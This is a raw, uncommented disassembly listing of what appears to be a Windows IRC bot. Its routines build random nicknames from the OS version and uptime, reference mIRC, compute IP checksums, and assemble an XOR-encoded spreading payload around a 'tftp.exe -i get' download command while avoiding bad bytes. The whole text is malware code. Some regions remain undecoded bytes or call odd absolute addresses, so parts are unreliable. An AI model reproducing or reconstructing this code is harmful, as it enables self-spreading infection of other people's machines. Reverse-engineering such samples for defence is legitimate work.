arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CBA14
cmp eax, 0FFFFFFFFh
jnz short locret_40A918
push [esp+arg_0]
call dword_4CBA58
test eax, eax
jnz short loc_40A911
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40A911: ; CODE XREF: sub_40A8F0+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40A918: ; CODE XREF: sub_40A8F0+Dj
retn
sub_40A8F0 endp
; =============== S U B R O U T I N E =======================================
sub_40A919 proc near ; CODE XREF: sub_4017ED+D6p
mov ecx, dword_4CB8F0
xor eax, eax
test ecx, ecx
jz short locret_40A927
call ecx
locret_40A927: ; CODE XREF: sub_40A919+Aj
retn
sub_40A919 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A928 proc near ; CODE XREF: sub_401ACD:loc_403F03p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4CBA50
mov ecx, eax
sub ecx, edi
jz loc_40A9EE
sub ecx, 32h
jz loc_40A9E7
sub ecx, 48h
jz short loc_40A988
sub ecx, 6Eh
jz short loc_40A981
loc_40A96A: ; CODE XREF: sub_40A928+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42D8D8
push eax
call sub_41C266
add esp, 0Ch
jmp short loc_40A9C8
; ---------------------------------------------------------------------------
loc_40A981: ; CODE XREF: sub_40A928+40j
push offset unk_42D8B4
jmp short loc_40A9BA
; ---------------------------------------------------------------------------
loc_40A988: ; CODE XREF: sub_40A928+3Bj
push [ebp+var_8]
call sub_41BEB5
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41BF70
add esp, 10h
cmp esi, edi
jz short loc_40A9B5
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4CBA50
cmp eax, edi
jz short loc_40A9EE
jmp short loc_40A96A
; ---------------------------------------------------------------------------
loc_40A9B5: ; CODE XREF: sub_40A928+79j
push offset unk_42D884
loc_40A9BA: ; CODE XREF: sub_40A928+5Ej
; sub_40A928+C4j
lea eax, [ebp+var_88]
push eax
call sub_41C266
pop ecx
pop ecx
loc_40A9C8: ; CODE XREF: sub_40A928+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_415D38
pop ecx
loc_40A9D8: ; CODE XREF: sub_40A928+C8j
; sub_40A928+DCj
push esi
call sub_41BA91
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40A9E7: ; CODE XREF: sub_40A928+32j
push offset unk_42D854
jmp short loc_40A9BA
; ---------------------------------------------------------------------------
loc_40A9EE: ; CODE XREF: sub_40A928+29j
; sub_40A928+89j
cmp [esi], edi
jbe short loc_40A9D8
lea ebx, [esi+4]
loc_40A9F5: ; CODE XREF: sub_40A928+DAj
push ebx
call dword_4CBA4C
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40A9F5
jmp short loc_40A9D8
sub_40A928 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA06 proc near ; CODE XREF: sub_401ACD+21EDp
; sub_401ACD+233Ep ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4CB978
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4CBB04
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41C266
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AA06 endp
; =============== S U B R O U T I N E =======================================
sub_40AA5F proc near ; CODE XREF: sub_413694+24Cp
; sub_413694+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AA88
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AA7B: ; CODE XREF: sub_40AA5F+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AA7B
pop edi
jmp short loc_40AA8C
; ---------------------------------------------------------------------------
loc_40AA88: ; CODE XREF: sub_40AA5F+Aj
mov edx, [esp+4+arg_0]
loc_40AA8C: ; CODE XREF: sub_40AA5F+27j
test esi, esi
pop esi
jz short loc_40AA96
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40AA96: ; CODE XREF: sub_40AA5F+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AA5F endp
; =============== S U B R O U T I N E =======================================
sub_40AAAC proc near ; CODE XREF: sub_40AE84+49p
; DATA XREF: ___:off_42D920o
arg_0 = dword ptr 4
push esi
push edi
call near ptr 26A07AFh
nop
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+8+arg_0]
push off_42D99C[edx*4]
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AB14
loc_40AAEE: ; CODE XREF: sub_40AAAC+66j
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AAEE
loc_40AB14: ; CODE XREF: sub_40AAAC+40j
mov eax, edi
pop edi
pop esi
retn
sub_40AAAC endp
; ---------------------------------------------------------------------------
db 56h, 57h, 0E8h
dd 2295C8Fh, 91E85090h, 8B000117h, 0C710247Ch, 91382404h
dd 0B4680042h, 6A0042CCh, 21E8571Ch, 33000118h, 10C483F6h
dd 90983539h, 267E0042h, 11771E8h, 990A6A00h, 52F9F759h
dd 0B89C6857h, 1C6A0042h, 17FAE857h, 0C4830001h, 353B4614h
dd 429098h, 0C78BDA7Ch
; ---------------------------------------------------------------------------
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40AB77 proc near ; CODE XREF: sub_401ACD+68EEp
arg_0 = dword ptr 4
push ebx
push esi
push edi
nop
call near ptr 26A07AFh
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_429098
test esi, esi
jle short loc_40ABBA
loc_40ABA4: ; CODE XREF: sub_40AB77+41j
call sub_41C2C2
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40ABA4
loc_40ABBA: ; CODE XREF: sub_40AB77+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40AB77 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
nop
call near ptr 26A07AFh
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_4315F4
push eax
push esi
call near ptr 26D0000h
nop
movsx eax, byte_4315F4
push 41h
pop ecx
push 1
pop edx
loc_40AC00: ; CODE XREF: ___:0040AC0Bj
cmp eax, ecx
jnz short loc_40AC07
mov [ebp-4], edx
loc_40AC07: ; CODE XREF: ___:0040AC02j
inc ecx
cmp ecx, 5Bh
jl short loc_40AC00
push 61h
pop ecx
loc_40AC10: ; CODE XREF: ___:0040AC1Bj
cmp eax, ecx
jnz short loc_40AC17
mov [ebp-4], edx
loc_40AC17: ; CODE XREF: ___:0040AC12j
inc ecx
cmp ecx, 7Bh
jl short loc_40AC10
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 0Ch
cmp dword_429098, esi
jle short loc_40AC5C
loc_40AC36: ; CODE XREF: ___:0040AC5Aj
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AC36
loc_40AC5C: ; CODE XREF: ___:0040AC34j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
nop
call near ptr 26A07AFh
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
nop
call near ptr 26E0000h
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_4315F8
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40ACD1
loc_40ACAB: ; CODE XREF: ___:0040ACCFj
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ACAB
loc_40ACD1: ; CODE XREF: ___:0040ACA9j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_43DB88
mov dword ptr [ebp-94h], 94h
nop
call near ptr 26F0000h
nop
call near ptr 26A07AFh
push eax
call sub_41C2B8
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40AD5B
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AD3B
cmp dword ptr [ebp-84h], 1
jnz short loc_40AD2B
mov esi, offset dword_431620
loc_40AD2B: ; CODE XREF: ___:0040AD24j
cmp dword ptr [ebp-84h], 2
jnz short loc_40AD97
mov esi, offset dword_43161C
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD3B: ; CODE XREF: ___:0040AD1Bj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40AD4B
mov esi, offset dword_431618
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD4B: ; CODE XREF: ___:0040AD42j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AD92
mov esi, offset dword_431614
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD5B: ; CODE XREF: ___:0040AD12j
cmp dword ptr [ebp-90h], 5
jnz short loc_40AD92
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AD74
mov esi, offset dword_431610
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD74: ; CODE XREF: ___:0040AD6Bj
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AD84
mov esi, offset dword_43160C
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD84: ; CODE XREF: ___:0040AD7Bj
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_431608
jz short loc_40AD97
loc_40AD92: ; CODE XREF: ___:0040AD52j
; ___:0040AD62j
mov esi, offset dword_431604
loc_40AD97: ; CODE XREF: ___:0040AD32j
; ___:0040AD39j ...
mov edi, [ebp+8]
push esi
push offset dword_4315FC
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40ADDB
loc_40ADB5: ; CODE XREF: ___:0040ADD9j
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ADB5
loc_40ADDB: ; CODE XREF: ___:0040ADB3j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ADE1 proc near ; CODE XREF: sub_40AE84+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
nop
call near ptr 26A07AFh
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_40AE30
call dword_4CB9E0
test eax, eax
mov eax, offset off_43162C
jnz short loc_40AE19
mov eax, offset byte_43DB88
loc_40AE19: ; CODE XREF: sub_40ADE1+31j
push eax
push esi
push offset dword_431624
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41C360
add esp, 14h
jmp short loc_40AE50
; ---------------------------------------------------------------------------
loc_40AE30: ; CODE XREF: sub_40ADE1+22j
call dword_4CB9E0
test eax, eax
mov eax, offset off_43162C
jnz short loc_40AE44
mov eax, offset byte_43DB88
loc_40AE44: ; CODE XREF: sub_40ADE1+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_40AE50: ; CODE XREF: sub_40ADE1+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_41B9C0
pop ecx
cmp eax, 2
pop esi
jbe short loc_40AE7F
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41CBC0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41BFD0
add esp, 18h
loc_40AE7F: ; CODE XREF: sub_40ADE1+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_40ADE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE84 proc near ; CODE XREF: sub_4017ED+7Fp
; sub_401955+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_42D91C
loc_40AE90: ; CODE XREF: sub_40AE84+3Fj
cmp [ebp+arg_C], 0
jz short loc_40AEAB
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_41CA50
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40AEB5
; ---------------------------------------------------------------------------
loc_40AEAB: ; CODE XREF: sub_40AE84+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40AEB5: ; CODE XREF: sub_40AE84+25j
test eax, eax
jnz short loc_40AEC7
add esi, 14h
inc edi
cmp esi, offset off_42D9A8
jb short loc_40AE90
jmp short loc_40AED5
; ---------------------------------------------------------------------------
loc_40AEC7: ; CODE XREF: sub_40AE84+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_42D920[eax*4]
pop ecx
loc_40AED5: ; CODE XREF: sub_40AE84+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40AEE8
push [ebp+arg_0]
call sub_40ADE1
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40AEE8: ; CODE XREF: sub_40AE84+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40AE84 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0B8h
push ebx
push esi
lea eax, [ebp-0B8h]
push edi
push eax
mov edi, offset byte_43DB88
mov dword ptr [ebp-0B8h], 94h
nop
call near ptr 26F0000h
cmp dword ptr [ebp-0B4h], 4
push 0Ah
pop ebx
jnz short loc_40AF67
cmp dword ptr [ebp-0B0h], 0
jnz short loc_40AF48
cmp dword ptr [ebp-0A8h], 1
jnz short loc_40AF38
mov edi, offset dword_431620
loc_40AF38: ; CODE XREF: ___:0040AF31j
cmp dword ptr [ebp-0A8h], 2
jnz short loc_40AFA3
mov edi, offset dword_43161C
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF48: ; CODE XREF: ___:0040AF28j
cmp [ebp-0B0h], ebx
jnz short loc_40AF57
mov edi, offset dword_431618
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF57: ; CODE XREF: ___:0040AF4Ej
cmp dword ptr [ebp-0B0h], 5Ah
jnz short loc_40AF9E
mov edi, offset dword_431614
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF67: ; CODE XREF: ___:0040AF1Fj
cmp dword ptr [ebp-0B4h], 5
jnz short loc_40AF9E
cmp dword ptr [ebp-0B0h], 0
jnz short loc_40AF80
mov edi, offset dword_431610
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF80: ; CODE XREF: ___:0040AF77j
cmp dword ptr [ebp-0B0h], 1
jnz short loc_40AF90
mov edi, offset dword_43160C
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF90: ; CODE XREF: ___:0040AF87j
cmp dword ptr [ebp-0B0h], 2
mov edi, offset dword_431684
jz short loc_40AFA3
loc_40AF9E: ; CODE XREF: ___:0040AF5Ej
; ___:0040AF6Ej
mov edi, offset dword_431680
loc_40AFA3: ; CODE XREF: ___:0040AF3Fj
; ___:0040AF46j ...
lea eax, [ebp-0A4h]
push offset word_4CB88C
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40AFC1
mov esi, offset dword_43167C
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFC1: ; CODE XREF: ___:0040AFB8j
lea eax, [ebp-0A4h]
push offset a1 ; "1"
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40AFDF
mov esi, offset sub_431678
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFDF: ; CODE XREF: ___:0040AFD6j
lea eax, [ebp-0A4h]
push offset dword_431674
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40AFFD
mov esi, offset dword_431670
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFFD: ; CODE XREF: ___:0040AFF4j
lea eax, [ebp-0A4h]
push offset dword_43166C
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40B01B
mov esi, offset dword_431668
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40B01B: ; CODE XREF: ___:0040B012j
lea eax, [ebp-0A4h]
push offset dword_431664
push eax
call sub_41C2E0
pop ecx
mov esi, offset dword_431660
test eax, eax
pop ecx
jnz short loc_40B03C
mov esi, offset off_43165C
loc_40B03C: ; CODE XREF: ___:0040AFBFj
; ___:0040AFDDj ...
lea eax, [ebp-0Ch]
or dword ptr [ebp-4], 0FFFFFFFFh
push eax
or dword ptr [ebp-8], 0FFFFFFFFh
or dword ptr [ebp-0Ch], 0FFFFFFFFh
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 0
call sub_41ADD8
pop ecx
push eax
call sub_41CCE3
mov eax, [ebp-4]
add esp, 14h
cmp eax, ebx
jge short loc_40B086
push eax
push offset a0D ; "0%d"
lea eax, [ebp-18h]
push ebx
push eax
call sub_41C360
add esp, 10h
jmp short loc_40B0AA
; ---------------------------------------------------------------------------
loc_40B086: ; CODE XREF: ___:0040B06Fj
cmp eax, 64h
jge short loc_40B098
lea ecx, [ebp-18h]
push ebx
push ecx
push eax
call sub_42635C
jmp short loc_40B0A7
; ---------------------------------------------------------------------------
loc_40B098: ; CODE XREF: ___:0040B089j
push offset a99 ; "99"
lea eax, [ebp-18h]
push ebx
push eax
call sub_41C360
loc_40B0A7: ; CODE XREF: ___:0040B096j
add esp, 0Ch
loc_40B0AA: ; CODE XREF: ___:0040B084j
call near ptr 26A07AFh
nop
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-24h]
push ebx
push eax
push 7
push 800h
nop
call near ptr 26E0000h
lea eax, [ebp-18h]
push eax
push esi
lea eax, [ebp-24h]
push edi
mov edi, [ebp+8]
push eax
push offset aSSSS ; "%s|%s|%s|%s|"
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 1Ch
cmp dword_429098, esi
jle short loc_40B115
loc_40B0F0: ; CODE XREF: ___:0040B113j
call sub_41C2C2
cdq
mov ecx, ebx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40B0F0
loc_40B115: ; CODE XREF: ___:0040B0EEj
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40B11C proc near ; CODE XREF: sub_40B13C+Ap
; sub_40B214+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41B9C0
push [esp+8+arg_4]
mov esi, eax
call sub_41B9C0
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_40B11C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B13C proc near ; CODE XREF: sub_40B22B+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40B11C
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_40B159
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40B159: ; CODE XREF: sub_40B13C+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_41B9C0
push [ebp+arg_C]
mov esi, eax
call sub_41B9C0
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_43171C, eax
lea eax, [edi+1]
mov dword_43173D, eax
lea eax, [edi+17h]
mov dword_431735, eax
pop eax
push 74h
sub eax, edi
push offset dword_4316B8
push ebx
mov dword_43174B, eax
call sub_41CD20
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_41CD20
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_41CD20
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_41CD20
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_41CD20
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_41CD20
add esi, edi
push 38h
add esi, ebx
push offset byte_431741
push esi
call sub_41CD20
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40B13C endp
; =============== S U B R O U T I N E =======================================
sub_40B214 proc near ; CODE XREF: sub_40B22B+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40B11C
push eax
call sub_40B298
add esp, 0Ch
retn
sub_40B214 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B22B proc near ; CODE XREF: sub_40DCF9+32p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_40B214
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_40B24B
cmp eax, 0FFFFh
jbe short loc_40B24F
loc_40B24B: ; CODE XREF: sub_40B22B+17j
xor eax, eax
jmp short loc_40B294
; ---------------------------------------------------------------------------
loc_40B24F: ; CODE XREF: sub_40B22B+1Ej
push esi
push edi
push ebx
call sub_40B11C
add eax, 101h
push eax
call sub_41BEB5
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_40B11C
pop ecx
pop ecx
push eax
push esi
call sub_40B13C
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40B2B3
push esi
mov edi, eax
call sub_41BA91
add esp, 24h
mov eax, edi
pop esi
loc_40B294: ; CODE XREF: sub_40B22B+22j
pop edi
pop ebx
pop ebp
retn
sub_40B22B endp
; =============== S U B R O U T I N E =======================================
sub_40B298 proc near ; CODE XREF: sub_40B214+Ep
; sub_40B2B3+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_40B2A1
inc ecx
loc_40B2A1: ; CODE XREF: sub_40B298+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_40B298 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2B3 proc near ; CODE XREF: sub_40B22B+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 0
jnz short loc_40B2D2
loc_40B2CF: ; CODE XREF: sub_40B2B3+8j
; sub_40B2B3+Ej ...
inc [ebp+arg_C]
loc_40B2D2: ; CODE XREF: sub_40B2B3+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_40B2FA
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_40B2F3
cmp al, 0Dh
jz short loc_40B2F3
cmp al, 5Ch
jz short loc_40B2F3
test al, al
jnz short loc_40B2FA
loc_40B2F3: ; CODE XREF: sub_40B2B3+32j
; sub_40B2B3+36j ...
add [ebp+arg_C], 100h
loc_40B2FA: ; CODE XREF: sub_40B2B3+28j
; sub_40B2B3+3Ej
push [ebp+arg_C]
call sub_40B298
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_40B312
cmp eax, 0FFFFh
jbe short loc_40B319
loc_40B312: ; CODE XREF: sub_40B2B3+56j
xor eax, eax
jmp loc_40B3B7
; ---------------------------------------------------------------------------
loc_40B319: ; CODE XREF: sub_40B2B3+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, byte_4CBB18
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_40B349
loc_40B32D: ; CODE XREF: sub_40B2B3+94j
mov al, [edx+edi]
xor al, bl
jz short loc_40B340
cmp al, 0Ah
jz short loc_40B340
cmp al, 0Dh
jz short loc_40B340
cmp al, 5Ch
jnz short loc_40B344
loc_40B340: ; CODE XREF: sub_40B2B3+7Fj
; sub_40B2B3+83j ...
inc bl
xor edx, edx
loc_40B344: ; CODE XREF: sub_40B2B3+8Bj
inc edx
cmp edx, ecx
jb short loc_40B32D
loc_40B349: ; CODE XREF: sub_40B2B3+78j
cmp ecx, esi
mov byte_4CBB18, bl
ja short loc_40B375
push 15h
push offset loc_4316A0
push [ebp+arg_0]
mov byte_4316AD, cl
mov byte_4316B1, bl
call sub_41CD20
add esp, 0Ch
push 15h
jmp short loc_40B396
; ---------------------------------------------------------------------------
loc_40B375: ; CODE XREF: sub_40B2B3+9Ej
push 17h
push offset loc_431688
push [ebp+arg_0]
mov word_431696, cx
mov byte_43169B, bl
call sub_41CD20
add esp, 0Ch
push 17h
loc_40B396: ; CODE XREF: sub_40B2B3+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_40B3B2
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_40B3A4: ; CODE XREF: sub_40B2B3+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_40B3A4
loc_40B3B2: ; CODE XREF: sub_40B2B3+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_40B3B7: ; CODE XREF: sub_40B2B3+61j
pop esi
leave
retn
sub_40B2B3 endp
; =============== S U B R O U T I N E =======================================
sub_40B3BA proc near ; CODE XREF: ___:00401599p
; ___:004015D8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_43E710
loc_40B3C2: ; CODE XREF: sub_40B3BA+18j
cmp byte ptr [eax], 0
jz short loc_40B3D6
add eax, 234h
inc edi
cmp eax, offset dword_4CB710
jl short loc_40B3C2
jmp short loc_40B421
; ---------------------------------------------------------------------------
loc_40B3D6: ; CODE XREF: sub_40B3BA+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_43E710[esi]
push eax
call sub_41BFD0
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_43E910[esi], eax
and dword_43E914[esi], 0
mov eax, [esp+8+arg_8]
and dword_43E918[esi], 0
mov dword_43E91C[esi], eax
and byte_43E928[esi], 0
pop esi
loc_40B421: ; CODE XREF: sub_40B3BA+1Aj
mov eax, edi
pop edi
retn
sub_40B3BA endp
; ---------------------------------------------------------------------------
byte_40B425 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2946o
dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh
